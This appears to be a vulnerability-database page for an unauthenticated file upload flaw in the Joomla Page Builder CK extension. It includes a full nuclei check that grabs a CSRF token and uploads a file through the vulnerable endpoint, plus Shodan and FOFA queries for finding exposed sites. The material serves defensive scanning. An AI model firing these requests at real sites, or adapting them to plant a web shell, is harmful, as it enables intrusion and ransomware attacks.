HexBrain

Browse / CVEs / CVE-2026-56290

CVE-2026-56290· joomlack / page builder ck· CWE-434

Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload

Exploited in the wild. Listed by CISA on 2026-07-07; known to be used by ransomware.

criticalseverity
9.8CVSS score
30.9%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.

Impact

Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.

Fix

Update to the latest version of Page Builder CK.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "csrf")
Send: POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1
Positive when: status_code == 200
Send: GET /media/com_pagebuilderck/gfonts/{{marker}}.txt
Positive when: status_code == 200 and contains(body, "CVE-2026-56290-{{marker}}")

Run it with nuclei: nuclei -id CVE-2026-56290 -u <target>

The full check
id: CVE-2026-56290

info:
  name: Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload
  author: panchiko-p,0x_Akoko
  severity: critical
  description: |
   Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.
  impact: |
   Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.
  remediation: |
   Update to the latest version of Page Builder CK.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56290
    - https://cxsecurity.com/issue/WLB-2026070010
    - https://www.exploit-db.com/exploits/52626
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56290
    epss-score: 0.30866
    epss-percentile: 0.98267
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: joomlack
    product: page_builder_ck
    framework: joomla
    shodan-query: http.html:"com_pagebuilderck"
    fofa-query: body="com_pagebuilderck"
  tags: cve,cve2026,joomla,pagebuilderck,file-upload,rce,intrusive,kev,vkev

variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "csrf")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'
          - 'csrf\.token"\s*:\s*"([a-f0-9]{32})"'

  - raw:
      - |
        POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBCK
        Referer: {{BaseURL}}/
        Origin: {{BaseURL}}

        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="path"

        media/com_pagebuilderck/gfonts/
        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56290-{{marker}}
        ------WebKitFormBoundaryPBCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_pagebuilderck/gfonts/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56290-{{marker}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from